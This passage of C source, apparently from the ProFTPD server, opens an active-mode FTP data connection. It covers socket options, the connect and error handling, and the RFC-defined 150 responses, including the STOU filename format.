   * 2 indicates 'NonCompliantActiveTransfer'.  We change the source port for
   * a RootRevoke value of 2.
   */
  root_revoke = get_param_ptr(TOPLEVEL_CONF, "RootRevoke", FALSE);
  if (root_revoke != NULL &&
      *root_revoke == 2) {
    bind_port = INPORT_ANY;
  }

  session.d = pr_inet_create_conn(session.pool, -1, bind_addr, bind_port, TRUE);

  /* Default remote address to which to connect for an active transfer,
   * if the client has not specified a different address via PORT/EPRT,
   * as per RFC 959.
   */
  if (pr_netaddr_get_family(&session.data_addr) == AF_UNSPEC) {
    pr_log_debug(DEBUG6, "Client has not sent previous PORT/EPRT command, "
      "defaulting to %s#%u for active transfer",
      pr_netaddr_get_ipstr(session.c->remote_addr), session.c->remote_port);

    pr_netaddr_set_family(&session.data_addr, pr_netaddr_get_family(session.c->remote_addr));
    pr_netaddr_set_sockaddr(&session.data_addr, pr_netaddr_get_sockaddr(session.c->remote_addr));
  }

  /* Set the "stalled" timer, if any, to prevent the connection
   * open from taking too long
   */
  if (timeout_stalled) {
    pr_timer_add(timeout_stalled, PR_TIMER_STALLED, NULL, stalled_timeout_cb,
      "TimeoutStalled");
  }

  rev = pr_netaddr_set_reverse_dns(ServerUseReverseDNS);

  /* Protocol and socket options should be set before handshaking. */

  if (session.xfer.direction == PR_NETIO_IO_RD) {
    pr_inet_set_socket_opts(session.d->pool, session.d,
      (main_server->tcp_rcvbuf_override ? main_server->tcp_rcvbuf_len : 0), 0,
      main_server->tcp_keepalive);
    
  } else {
    pr_inet_set_socket_opts(session.d->pool, session.d,
      0, (main_server->tcp_sndbuf_override ? main_server->tcp_sndbuf_len : 0),
      main_server->tcp_keepalive);
  }

  /* Make sure that the necessary socket options are set on the socket prior
   * to the call to connect(2).
   */
  pr_inet_set_proto_opts(session.pool, session.d, main_server->tcp_mss_len, 0,
    IPTOS_THROUGHPUT, 1);
  pr_inet_generate_socket_event("core.data-connect", main_server,
    session.d->local_addr, session.d->listen_fd);

  if (pr_inet_connect(session.d->pool, session.d, &session.data_addr,
      session.data_port) == -1) {
    pr_log_debug(DEBUG6,
      "Error connecting to %s#%u for active data transfer: %s",
      pr_netaddr_get_ipstr(&session.data_addr), session.data_port,
      strerror(session.d->xerrno));
    pr_response_add_err(R_425, _("Unable to build data connection: %s"),
      strerror(session.d->xerrno));
    errno = session.d->xerrno;

    destroy_pool(session.d->pool);
    session.d = NULL;
    return -1;
  }

  c = pr_inet_openrw(session.pool, session.d, NULL, PR_NETIO_STRM_DATA,
    session.d->listen_fd, -1, -1, TRUE);

  pr_netaddr_set_reverse_dns(rev);

  if (c) {
    pr_log_debug(DEBUG4, "active data connection opened - local  : %s:%d",
      pr_netaddr_get_ipstr(session.d->local_addr), session.d->local_port);
    pr_log_debug(DEBUG4, "active data connection opened - remote : %s:%d",
      pr_netaddr_get_ipstr(session.d->remote_addr), session.d->remote_port);

    if (session.xfer.xfer_type != STOR_UNIQUE) {
      if (size) {
        pr_response_send(R_150, _("Opening %s mode data connection for %s "
          "(%" PR_LU " bytes)"), MODE_STRING, reason, (pr_off_t) size);

      } else {
        pr_response_send(R_150, _("Opening %s mode data connection for %s"),
          MODE_STRING, reason);
      }

    } else {

      /* Format of 150 responses for STOU is explicitly dictated by
       * RFC 1123:
       *
       *  4.1.2.9  STOU Command: RFC-959 Section 4.1.3
       *
       *    The STOU command stores into a uniquely named file.  When it
       *    receives an STOU command, a Server-FTP MUST return the
       *    actual file name in the "125 Transfer Starting" or the "150
       *    Opening Data Connection" message that precedes the transfer
       *    (the 250 reply code mentioned in RFC-959 is incorrect).  The
       *    exact format of these messages is hereby defined to be as
       *    follows:
       *
       *        125 FILE: pppp
       *        150 FILE: pppp
       *
       *    where pppp represents the unique pathname of the file that
       *    will be written.
       */
      pr_response_send(R_150, "FILE: %s", reason);
    }

    pr_inet_close(session.pool, session.d);
    pr_inet_set_nonblock(session.pool, session.d);
    session.d = c;
    return 0;
  }

  pr_response_add_err(R_425, _("Unable to build data connection: %s"),
    strerror(session.d->xerrno));
  errno = session.d->xerrno;

  destroy_pool(session.d->pool);
  session.d = NULL;
  return -1;
}